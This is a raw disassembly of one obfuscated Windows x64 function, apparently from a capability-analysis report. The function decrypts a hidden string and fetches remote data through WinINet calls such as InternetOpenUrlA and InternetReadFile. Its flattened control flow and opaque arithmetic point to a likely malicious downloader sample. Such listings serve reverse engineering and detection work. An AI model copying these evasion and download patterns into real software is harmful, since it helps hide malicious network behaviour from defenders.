Function at 0x140092ed0
Capabilities:
Create http request
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x1b8
lea rbp, [rsp + 0x80]
vmovaps xmmword [rbp + 0x120], xmm6
and rsp, 0xffffffffffffffe0
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x50], rcx
mov rax, qword [0x1401c6840]
xor rax, rbp
mov qword [rsp + 0x198], rax
movabs r13, 0x4da3cec8be3bb232
movabs r12, 0x4da3cec816744e57
mov eax, dword [0x1401daf08]
mov dword [rsp + 0x6c], eax
mov ecx, dword [0x1401de370]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov ecx, dword [rcx + 4]
mov dword [rsp + 0x70], ecx
or eax, 0x2d
imul eax, eax
imul edx, eax, 0x73
mov r10d, 0xff
mov r8d, ecx
and r8d, r10d
mov eax, r8d
or eax, 0x9f
imul eax, eax
imul eax, eax, 0xa0e5
or r8d, 0xe
imul r8d, r8d
imul r9d, r8d, 0x38dd
or edx, 0x1d
and edx, r10d
imul edx, edx
imul edx, edx, 0x3daf
xor r8d, r8d
cmp r9d, edx
sete r8b
mov r9d, r8d
neg r9d
mov r10d, ecx
not r10d
or r10d, r9d
mov r11d, ecx
or r11d, r9d
add r8d, r8d
sub r8d, ecx
xor r9d, ecx
sub r9d, r10d
not r11d
lea ecx, [r11 + r11*2]
add r8d, 0xfffffffe
add r9d, ecx
xor r9d, r8d
movabs r8, 0x1aaedc9ff944370b
xor r8, r9
lea ecx, [rdx + rax]
mov r9d, edx
xor r9d, eax
sub ecx, r9d
and edx, eax
add edx, edx
xor edx, ecx
movabs rcx, 0x32f4f2280dba6450
xor rcx, rdx
add rcx, r8
mov r14d, 0x40400
movabs rdi, 0xcff7026751eef4ab
vxorps xmm6, xmm6, xmm6
mov qword [rsp + 0x60], rax
lea eax, [rcx + 1]
mov edx, ecx
not edx
mov r8d, edx
and r8d, r14d
mov r9d, ecx
and r9d, r14d
add r8d, r9d
add r8d, 0xb031144
xor r8d, 0xb071544
imul r8, rdi
add r8, r13
add r8, 0xffffffffe186ac15
cmp rcx, r8
jge 0x1400931f2
mov r8d, ecx
xor r8d, 1
mov r9d, eax
sub r9d, r8d
lea r15d, [rcx + rcx]
and r15d, 2
xor r15d, r9d
mov r9, r15
movabs r10, 0x39ee8d63d1d0a87f
xor r9, r10
movabs r10, 0x13b541648b5525df
add r9, r10
mov r10d, ecx
or r10d, 0xfffffffe
mov r11d, edx
and r11d, 0xfffffffe
lea esi, [r11 + r11*2]
mov ebx, esi
neg ebx
lea r11d, [rdx*2 - 1]
sub esi, r10d
add esi, r8d
xor esi, r11d
add r9, rsi
cmp rcx, r9
jge 0x140093295
lea r9, [r12 + 0x613ab94]
cmp rcx, r9
jge 0x140093684
lea rax, [r12 - 0x7ffd849]
cmp rcx, rax
jge 0x140093a04
lea rax, [r12 - 0xf75b2fc]
cmp rcx, rax
jne 0x140093016
mov eax, dword [rsp + 0x6c]
mov edx, dword [rsp + 0x70]
mov r8d, edx
xor r8d, 0xf90164a4
lea ecx, [rdx + r8]
lea r9d, [rdx + r8]
add r9d, 0x6fe9b5c
lea r8d, [rdx + rdx]
and r8d, 0xdfd36b6
xor r8d, r9d
movabs r9, 0x5b5664afcc4addb5
add r9, r8
movabs r10, 0xe90a55986d87c789
xor r9, r10
mov r10d, edx
or r10d, 0xfffffffe
mov r11d, edx
not r11d
lea esi, [r11*2 - 1]
and r11d, 0xfffffffe
lea r11d, [r11 + r11*2]
mov edi, edx
xor edi, 1
sub edi, r10d
add edi, r11d
xor edi, esi
xor rdi, r9
mov r9d, r8d
xor r9d, 0xfffffffe
add r8d, r9d
add r8d, 2
add ecx, ecx
and ecx, 2
xor ecx, r8d
mov r8, rcx
sub r8, rdi
movabs rdi, 0xcff7026751eef4ab
lea r10d, [rax + r8]
mov r9d, eax
xor r9d, r8d
sub r10d, r9d
mov r9d, eax
and r9d, r8d
add r9d, r9d
xor r9d, r10d
movabs r10, 0xb25c313724152693
xor r9, r10
or ecx, 0xc1
mov r11d, 0xff
and ecx, r11d
imul ecx, ecx
imul r10d, ecx, 0xe695
mov ecx, eax
or ecx, 0x24
and ecx, r11d
imul ecx, ecx
imul r11d, ecx, 0xe92d
xor ecx, ecx
cmp r10d, r11d
sete cl
add rcx, r9
neg rcx
cmp eax, edx
cmovg rcx, r8
jmp 0x140093016
lea r9, [r13 + 0x8b4de10]
cmp rcx, r9
jge 0x1400932fb
mov r8d, ecx
xor r8d, 1
mov r9d, eax
sub r9d, r8d
lea r8d, [rcx + rcx]
and r8d, 2
xor r8d, r9d
movabs r10, 0x14ab277d5e1e8061
add r10, r8
mov r11d, r8d
xor r11d, 0xfffffffe
add r8d, r11d
add r8d, 2
add r9d, r9d
and r9d, 2
xor r9d, r8d
movabs r8, 0xce8d13477b0f7385
xor r9, r8
imul r9, r10
cmp rcx, r9
jge 0x1400937e7
lea r8, [r13 - 0x195c4638]
cmp rcx, r8
jge 0x140093a5d
lea rax, [r13 - 0x1e7953eb]
cmp rcx, rax
jne 0x140093016
cmp dword [rsp + 0xb8], 0
setne al
mov qword [rsp + 0x60], rax
lea rcx, [r13 - 0x13aebeaf]
jmp 0x140093016
mov r8d, esi
xor r8d, 0xfffffffe
add r8d, esi
add r8d, 2
lea r9d, [rsi + rsi]
and r9d, 2
xor r9d, r8d
add rsi, r12
lea r8, [r9 + rsi]
add r8, 0x5e31d884
cmp rcx, r8
jae 0x1400938d6
lea r8, [r12 + 0x54fadcfe]
cmp rcx, r8
jae 0x140093ac9
lea rax, [r12 + 0x47be976d]
cmp rcx, rax
jae 0x140093d0d
lea rax, [r12 + 0x46b18007]
lea rdx, [r13 + 0x28198793]
jmp 0x140093c66
lea r15, [r13 + 0x1daf273b]
cmp rcx, r15
jae 0x14009396e
lea r8, [r13 + 0x1ad60f7d]
cmp rcx, r8
jae 0x140093bc7
mov r8d, ecx
xor r8d, 1
mov r10d, eax
sub r10d, r8d
lea r11d, [rcx + rcx]
and r11d, 2
xor r11d, r10d
movabs r10, 0xd05e3452fda8552d
xor r11, r10
movabs r10, 0x7d459a75d783fde5
add r11, r10
cmp rcx, r11
jae 0x140093d43
cmp rcx, r9
jne 0x140093016
movabs rax, 0x2337ef9c2a261496
mov qword [rsp + 0x120], rax
movabs rcx, 0x39bf136681560424
mov qword [rsp + 0x128], rcx
movabs rcx, 0x491f46fb15eca5cd
mov qword [rsp + 0x130], rcx
movabs rcx, 0x8c4a730d9afe52da
mov qword [rsp + 0x138], rcx
mov ecx, eax
not ecx
lea ecx, [rcx + rcx*2]
mov edx, 0xfe41aae3
sub edx, eax
add edx, 0x1be551b
lea eax, [rcx + rax*2]
inc eax
xor eax, edx
movabs rcx, 0x46adabd645a655cd
xor rax, rcx
movabs rcx, 0xcd6474fa85236bb7
add rax, rcx
mov qword [rsp + 0x140], rax
movabs rax, 0x5f4ed2ad70d9be14
mov qword [rsp + 0x148], rax
movabs r10, 0x30d9bec4f4577d7
mov qword [rsp + 0x160], r10
mov edx, r10d
not edx
mov eax, edx
and eax, r14d
mov ecx, r10d
and ecx, r14d
lea r8d, [rcx + rax]
add r8d, 0xb031144
add ecx, eax
mov eax, r8d
xor eax, 0xb071544
movabs r9, 0x88fa286d3aeba223
xor r8, r9
or edx, eax
mov r9d, eax
or r9d, r10d
not r9d
lea r9d, [r9 + r9*2]
lea r11d, [rcx*2 + 0x16062288]
xor r11d, 0xe9f1d576
sub r11d, r10d
mov ecx, eax
xor ecx, r10d
sub ecx, edx
add ecx, r9d
xor ecx, r11d
movabs rdx, 0x2ccefa70326b5230
xor rcx, rdx
imul rcx, r8
mov qword [rsp + 0x168], rcx
mov edx, r10d
or edx, 0xfe
mov r9d, 0xff
and edx, r9d
imul edx, edx
imul edx, edx, 0x7033
mov r8d, ecx
or r8d, 0x54
and r8d, r9d
imul r8d, r8d
imul r9d, r8d, 0x9949
movabs rsi, 0x666b3e9e61cc9ea0
lea r11, [rsi + 1]
xor r8d, r8d
cmp edx, r9d
sete r8b
cmove r11, rsi
mov esi, r10d
sub esi, r8d
neg r8d
mov edi, r8d
xor edi, r10d
sub esi, edi
and r8d, r10d
add r8d, r8d
xor r8d, esi
mov r10, r8
xor r10, r11
mov qword [rsp + 0x170], r10
lea r11d, [rdx + r10]
mov esi, edx
xor esi, r10d
sub r11d, esi
and edx, r10d
add edx, edx
xor edx, r11d
lea r10d, [rax + rcx]
mov r11d, eax
xor r11d, ecx
sub r10d, r11d
and eax, ecx
add eax, eax
xor eax, r10d
movabs r10, 0xe35a89fd8458f847
add r10, rax
movabs r11, 0x4530c19e77c7c6ed
xor r10, r11
xor r10, rdx
mov qword [rsp + 0x178], r10
lea r11d, [r8 + r10]
mov esi, r8d
xor esi, r10d
sub r11d, esi
and r10d, r8d
add r10d, r10d
xor r10d, r11d
mov r11d, eax
not r11d
or r11d, r9d
mov esi, eax
or esi, r9d
mov edi, r9d
not edi
add edi, edi
sub edi, eax
xor eax, r9d
sub eax, r11d
not esi
lea r9d, [rsi + rsi*2]
add eax, r9d
movabs r9, 0x444cb5515fce681
add r10, r9
xor eax, edi
movabs rdi, 0xcff7026751eef4ab
movabs r9, 0x1df2efa6dfd342b
add rax, r9
imul rax, r10
lea r9d, [r8 + rdx]
mov r10d, r8d
xor r10d, edx
sub r9d, r10d
and edx, r8d
add edx, edx
xor edx, r9d
lea r8d, [rax + rcx]
mov r9d, eax
xor r9d, ecx
sub r8d, r9d
mov qword [rsp + 0x180], rax
and eax, ecx
add eax, eax
xor eax, r8d
movabs rcx, 0x20dffb155aa1e5dd
xor rdx, rcx
movabs rcx, 0x3e6ed7981637d837
xor rax, rcx
add rax, rdx
mov qword [rsp + 0x188], rax
lea rax, [rsp + 0x160]
vmovaps ymm0, ymmword [rsp + 0x120]
vxorps ymm0, ymm0, ymmword [rax]
vmovaps ymmword [rsp + 0x120], ymm0
vmovaps xmm0, xmmword [rsp + 0x140]
vxorps xmm0, xmm0, xmmword [rax + 0x20]
vmovaps xmmword [rsp + 0x140], xmm0
vxorps xmm0, xmm0, xmm0
vmovups ymmword [0x1401daee8], ymm0
lea rsi, [rsp + 0x120]
mov rcx, rsi
vzeroupper
call fcn.14010bb40
lea rcx, [0x1401daee8]
mov rdx, rsi
mov r8, rax
call fcn.14000d802
lea rcx, [0x1400941b8]
call fcn.1400b8428
lea rcx, [0x1401daf08]
call fcn.1400b850c
mov rcx, r15
jmp 0x140093016
lea r10, [r12 + 0x39f9337e]
cmp rcx, r10
jae 0x140093c35
mov r10d, r15d
not r10d
mov r11d, r10d
or r11d, 1
and r10d, 0xfffffffe
lea r10d, [r10 + r10*2]
mov esi, 0xfffffffc
sub esi, r15d
mov edi, r15d
xor edi, 1
sub edi, r11d
add edi, r10d
xor edi, esi
movabs r10, 0xf188eef9da790f0b
xor rdi, r10
movabs r10, 0x5c1adfce519969f9
add r15, r10
add r15, rdi
cmp rcx, r15
jae 0x140093dcd
cmp rcx, r9
movabs rdi, 0xcff7026751eef4ab
jne 0x140093016
mov eax, dword [rsp + 0x74]
mov ecx, eax
xor ecx, 0xfffffffe
lea r8d, [rax + rcx]
add r8d, 2
lea edx, [rax + rax]
mov ecx, edx
and ecx, 2
xor ecx, r8d
xor ecx, 0x723147ba
add ecx, 0x8dceb849
mov r8d, eax
xor r8d, 0xff6b38f6
add r8d, eax
add r8d, 0x94c70a
and edx, 0x1298e12
xor edx, r8d
mov r8, rdx
movabs r9, 0x65000f6af0e4154
imul r8, r9
mov r9d, edx
imul r9d, edx
imul r10d, r9d, 0x6b
add r8, r12
mov edi, 0xfe41aae3
lea r11, [rdi + 0x94c708]
mov ebx, 0x94c709
lea rsi, [rdi + rbx]
xor r9d, r9d
cmp eax, ecx
sete r9b
cmove rsi, r11
xor r9, rbx
add r9, rdi
movabs rdi, 0xcff7026751eef4ab
xor r9, rsi
or edx, 0xcb
mov r11d, 0xff
and edx, r11d
imul edx, edx
imul edx, edx, 0xb269
or r10d, 0x81
and r10d, r11d
imul r10d, r10d
imul r10d, r10d, 0xba55
xor r11d, r11d
cmp edx, r10d
sete r11b
neg r11
cmp eax, ecx
lea rax, [r9 + r8 + 0x159e2aad]
lea rcx, [r12 + r11 + 0x39f9337e]
cmove rcx, rax
jmp 0x140093016
cmp rcx, r13
jge 0x140093c72
lea rax, [r13 - 0x218b5f6]
cmp rcx, rax
jge 0x140093e66
lea rax, [r13 - 0x4086ccd]
cmp rcx, rax
jne 0x140093016
mov r15d, dword [rsp + 0xb8]
vmovaps xmmword [rsp + 0x90], xmm6
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x90]
mov rdx, r15
call fcn.1400956a4
mov r8d, dword [rsp + 0xb8]
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x58]
lea r9, [rsp + 0x8c]
call qword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [rax + r15]
mov edx, eax
xor edx, r15d
sub ecx, edx
mov edx, eax
and edx, r15d
add edx, edx
xor edx, ecx
mov rcx, rdx
movabs r8, 0x9c795b1dea1b1932
xor rcx, r8
movabs r8, 0xb12a73aad207e30a
add rcx, r8
mov r8d, edx
mov r11d, 0xeb06a3c6
or r8d, r11d
mov r9d, edx
not r9d
lea r10d, [r9*2 - 0x14f95c39]
and r9d, r11d
lea r9d, [r9 + r9*2]
xor edx, 0x14f95c39
sub edx, r8d
add edx, r9d
xor edx, r10d
add rdx, rcx
lea rcx, [r13 + 0x2a2dcea]
test eax, eax
cmovne rcx, rdx
jmp 0x140093016
mov r8, r15
movabs r9, 0xebdc6667c2cabc3a
xor r8, r9
movabs r9, 0x61c76860c0c4a9f9
add r8, r9
cmp rcx, r8
jae 0x140093cad
lea edx, [rdx + rdx*2]
mov r8d, 0xfffffffe
sub r8d, ecx
add eax, ecx
add eax, edx
xor eax, r8d
movabs rdx, 0x4707e4bec760157
imul rax, rdx
add rax, r12
add rax, 0x602d75fb
cmp rcx, rax
jge 0x140093e8c
lea rax, [r12 + 0x5e31d884]
cmp rcx, rax
jne 0x140093016
mov rax, qword [rsp + 0x50]
vmovups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], send
lea rcx, [r12 + 0x5b3d36e5]
mov dword [rsp + 0x4c], 1
jmp 0x140093016
lea edx, [rdx + rdx*2]
mov r8d, 0xfffffffe
sub r8d, ecx
add eax, ecx
add eax, edx
xor eax, r8d
add rax, r13
add rax, 0x28198793
cmp rcx, rax
jae 0x140093ce8
lea rax, [r13 + 0x25487648]
cmp rcx, rax
jae 0x140093f8e
cmp rcx, r15
jne 0x140093016
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenA]
xor edx, edx
test rax, rax
setne dl
mov ecx, edx
xor ecx, 1
sub ecx, edx
not edx
lea edx, [rdx*2 - 1]
add ecx, 0xfffffffc
xor ecx, edx
lea rdx, [r13 + 0x3a681b45]
mov qword [rsp + 0x80], rax
test rax, rax
lea rcx, [r13 + rcx + 0x1c7faa4d]
cmovne rcx, rdx
jmp 0x140093016
cmp rcx, r12
jae 0x140093fa6
cmp rcx, rax
jne 0x140093016
mov r15d, dword [rsp + 0x8c]
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x50]
mov r8, r15
call fcn.140011e6c
mov eax, r15d
xor eax, 0xfffffffe
add eax, r15d
add eax, 2
lea ecx, [r15 + r15]
and ecx, 2
xor ecx, eax
add rsi, r13
sub rsi, rcx
add rsi, 0xffffffffdf8d8d46
mov rcx, rsi
jmp 0x140093016
lea r9, [r13 - 0x13aebeaf]
cmp rcx, r9
jae 0x140093fb9
cmp rcx, r8
jne 0x140093016
lea rcx, [rsp + 0xc0]
xor edx, edx
mov r8d, 0xa
call fcn.1400c1768
mov r15d, eax
mov edx, eax
mov rcx, qword [rsp + 0x50]
call fcn.140012450
mov eax, r15d
xor eax, 0x5b209405
add eax, r15d
add eax, 0xa4df6bfb
add r15d, r15d
and r15d, 0x49bed7f4
xor r15d, eax
mov rcx, r13
sub rcx, r15
add rcx, 0x16f0a0e0
jmp 0x140093016
lea r9, [r12 + 0x5b3d36e5]
cmp rcx, r9
jae 0x140094003
cmp rcx, r8
jne 0x140093016
xor eax, eax
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0xb8]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetQueryDataAvailable]
mov edx, 0xd6de56a9
sub edx, ebx
mov r9d, edx
xor r9d, 8
mov ecx, edx
xor ecx, 0x9490d4a7
xor r8d, r8d
cmp eax, ecx
setne r8b
mov r10d, r8d
not r10d
lea r10d, [r10 + r10*2]
mov r11d, 0xfffffffe
sub r11d, r8d
lea r10d, [r10 + r8*2]
inc r10d
xor r10d, r11d
mov r11d, ecx
mov ebx, 0x9490d4aa
or r11d, ebx
lea esi, [rdx + rdx]
xor edx, 0xfffffff2
sub edx, r11d
and r9d, ebx
lea r9d, [r9 + r9*2]
add edx, r9d
movabs r9, 0x6b0ae8b5edaaf002
add r10, r9
xor esi, 0xd6de56b0
add esi, 0x9490d4ab
xor edx, esi
movabs r9, 0x26a9267d7268ae44
xor rdx, r9
xor rdx, r10
mov r9d, r8d
mov r11d, 0x6b6f2b55
xor r9d, r11d
mov r10d, r8d
sub r10d, r9d
add r10d, r11d
add r8d, r8d
xor r8d, r10d
inc rdx
movabs r9, 0xfc29b476f0db6651
imul r8, r9
cmp eax, ecx
lea rcx, [r13 + r8 - 0x13aebeaf]
cmovne rcx, rdx
jmp 0x140093016
lea rax, [r13 + 0x1c7faa4d]
cmp rcx, rax
jae 0x140094046
cmp rcx, r8
jne 0x140093016
xor eax, eax
mov qword [rsp + 0x118], rax
mov dword [rsp + 0xbc], 8
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x58]
mov edx, reloc.WS2_32.dll_send
lea r8, [rsp + 0x118]
lea r9, [rsp + 0xbc]
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
lea rcx, [r12 + 0x602d75fb]
lea rdx, [r12 + 0x5e31d884]
test eax, eax
cmove rcx, rdx
jmp 0x140093016
lea rax, [r12 + 0x3a23d5b0]
cmp rcx, rax
jae 0x140094079
movabs rax, 0x2d107e66d2946047
imul r15, rax
lea rax, [r12 + r15]
add rax, 0x39f9337e
lea rdx, [r12 + 0x6d1b17dc]
cmp rcx, rax
cmove rcx, rdx
jmp 0x140093016
lea rax, [r13 + 0x2a2dcea]
cmp rcx, rax
jae 0x1400940ad
cmp rcx, r13
jne 0x140093016
lea rcx, [rsp + 0x90]
call fcn.140052cba
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x74], eax
lea rcx, [r12 + 0x613ab94]
jmp 0x140093016
lea rax, [r13 - 0x207272ba]
cmp rcx, rax
jae 0x1400940bb
lea rax, [r12 + 0x6d1b17dc]
cmp rcx, rax
jne 0x140093016
and r15d, 0x4650ef89
lea rcx, [r12 + 0x54fadcfd]
xor rcx, r15
inc rcx
jmp 0x140093016
lea rax, [r13 + 0x3a681b45]
cmp rcx, rax
jae 0x1400940d4
lea rax, [r13 + 0x28198793]
cmp rcx, rax
jne 0x140093016
jmp 0x140094187
jne 0x140093016
lea rcx, [0x1401daf08]
call fcn.1400b8578
lea rax, [r13 + 0x8b4de0f]
xor r15, rax
inc r15
lea rcx, [r13 + 0x1daf273b]
cmp dword [0x1401daf08], 0xffffffff
cmove rcx, r15
jmp 0x140093016
lea r9d, [rdx + rdx*2]
lea r10d, [rdx + rdx]
add r9d, eax
xor r9d, r10d
mov eax, r9d
not eax
mov r10d, eax
or r10d, 1
and eax, 0xfffffffe
lea eax, [rax + rax*2]
mov r11d, 0xfffffffc
sub r11d, r9d
mov esi, r9d
xor esi, 1
sub esi, r10d
add esi, eax
xor esi, r11d
movabs rax, 0x26ff4001069c4fdc
add rsi, rax
xor r9, rcx
xor r9, rsi
movabs rax, 0x6b5c8ec9d3b01cce
cmp r9, rax
jne 0x140093016
mov eax, edx
or eax, 1
and edx, 0xfffffffe
lea edx, [rdx + rdx*2]
mov r9d, 0xfffffffc
sub r9d, ecx
sub r8d, eax
add r8d, edx
xor r8d, r9d
lea rcx, [r12 + r8]
add rcx, 0x54fadcfe
jmp 0x140093016
mov r9d, edx
or r9d, 1
mov r10d, 0xfffffffc
sub r10d, ecx
add r9d, ebx
sub r8d, r9d
xor r8d, r10d
movabs r9, 0x69d65eeb6cf25d11
add r8, r9
lea edx, [rdx + rdx*2]
mov r9d, 0xfffffffe
sub r9d, ecx
add eax, ecx
add eax, edx
xor eax, r9d
movabs rdx, 0x880db6b1e1afb8c4
add rax, rdx
imul rax, r8
cmp rcx, rax
movabs rdi, 0xcff7026751eef4ab
jne 0x140093016
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
or eax, 0x63
movzx eax, al
imul eax, eax
imul eax, eax, 0x1021
mov edx, eax
not edx
lea ecx, [rdx + rdx*2]
lea edx, [rdx*2 - 1]
add ecx, eax
xor ecx, edx
add rcx, r12
mov dword [rsp + 0x4c], 1
jmp 0x140093016
jne 0x140093016
lea rcx, [r12 - 0x7ffd849]
lea rax, [r13 + 0x2a2dcea]
cmp dword [rsp + 0x8c], 0
cmove rcx, rax
jmp 0x140093016
mov eax, 0xfe41aae3
add eax, 0x1a26559
xor eax, ecx
add eax, ecx
add eax, 0x1befc4
lea edx, [rcx + rcx]
and edx, 0x37df86
xor edx, eax
xor rdx, rcx
lea rax, [r12 + 0x602d75fb]
cmp rdx, rax
jne 0x140093016
mov rax, qword [rsp + 0x50]
vmovups xmmword [rax], xmm6
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], send
vxorps xmm0, xmm0, xmm0
vmovaps ymmword [rsp + 0xe0], ymm0
vmovaps ymmword [rsp + 0xc0], ymm0
mov dword [rsp + 0xb4], 0x40
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
mov edx, 5
lea r8, [rsp + 0xc0]
lea r9, [rsp + 0xb4]
vzeroupper
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
mov ecx, eax
xor ecx, 0xe9bc2dc0
add ecx, eax
add ecx, 0x1643d240
lea edx, [rax + rax]
and edx, 0x2c87a47e
xor edx, ecx
movabs r9, 0x4a5702d87ab88e52
lea rcx, [r9 + 3]
xor r8d, r8d
cmp eax, edx
setne r8b
cmove rcx, r9
xor r8, 0x75fa5
mov r9d, 0xfe41aae3
add r8, r9
add r8, 0x1a8362c
xor r8, rcx
movabs rcx, 0xc07258c157ac1413
imul r8, rcx
lea rcx, [r13 - 0x195c4638]
cmp eax, edx
cmove rcx, r8
jmp 0x140093016
jne 0x140093016
mov rcx, qword [rsp + 0x50]
call fcn.14000e914
mov rcx, r12
jmp 0x140093016
jne 0x140093016
lea rcx, [r12 + 0x5b3d36e5]
jmp 0x140093016
lea r8d, [rdx + rdx*2]
add edx, edx
add r8d, eax
xor r8d, edx
movabs rax, 0x6d5c98e83ff5107f
add r8, rax
xor r8, rcx
lea rax, [r12 + 0x159e2aad]
lea rdx, [r13 - 0x4086ccd]
test byte [rsp + 0x60], 1
cmovne rax, rdx
movabs rdx, 0x20ff56209579e3fc
cmp r8, rdx
cmove rcx, rax
jmp 0x140093016
lea edx, [rdx + rdx*2]
mov r8d, 0xfffffffe
sub r8d, ecx
add eax, ecx
add eax, edx
xor eax, r8d
movabs rdx, 0x17bccd327a3a2880
xor rax, rdx
movabs rdx, 0x35e70195f7775cbc
add rax, rdx
cmp rcx, rax
jne 0x140093016
lea rcx, [r12 + 0x46b18007]
jmp 0x140093016
jne 0x140093016
mov rax, qword [rsp + 0x50]
vmovups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], send
lea rcx, [r13 + 0x28198793]
mov dword [rsp + 0x4c], 1
jmp 0x140093016
jne 0x140093016
mov rax, qword [rsp + 0x50]
vmovups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], send
lea rcx, [r12 + 0x46b18007]
mov dword [rsp + 0x4c], 1
jmp 0x140093016
mov eax, 3
mov edx, dword [rsp + 0x4c]
cmove edx, eax
jmp 0x1400940c7
mov eax, 0
mov edx, dword [rsp + 0x4c]
cmove edx, eax
mov dword [rsp + 0x4c], edx
cmove rcx, r13
jmp 0x140093016
jne 0x140093016
mov ebx, dword [0x1401daef8]
lea rcx, [0x1401daee8]
call fcn.1400121c8
mov r15, rax
mov rcx, qword [rsp + 0x78]
call fcn.1400121c8
mov ecx, ebx
not ecx
lea ecx, [rcx + rcx*2]
mov edx, 0xfffffffe
sub edx, ebx
lea ecx, [rcx + rbx*2]
inc ecx
xor ecx, edx
xor ecx, 0x778ae5ed
imul ecx, ecx, 0x7ce7e500
mov dword [rsp + 0x20], ecx
mov qword [rsp + 0x28], 0
mov rsi, qword [rsp + 0x80]
mov rcx, rsi
mov rdx, rax
mov r8, r15
mov r9d, ebx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, eax
not ecx
lea ecx, [rcx + rcx*2]
mov edx, 0xfffffffe
sub edx, eax
lea eax, [rcx + rax*2]
inc eax
xor eax, edx
mov rdx, r12
sub rdx, rax
add rdx, 0x3a23d5b0
lea rcx, [r13 + 0x1ad60f7d]
mov qword [rsp + 0x58], rbx
test rbx, rbx
cmove rcx, rdx
jmp 0x140093016
mov rcx, qword [rsp + 0x198]
xor rcx, rbp
call fcn.1400b84b0
mov rax, qword [rsp + 0x50]
vmovaps xmm6, xmmword [rbp + 0x120]
lea rsp, [rbp + 0x138]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret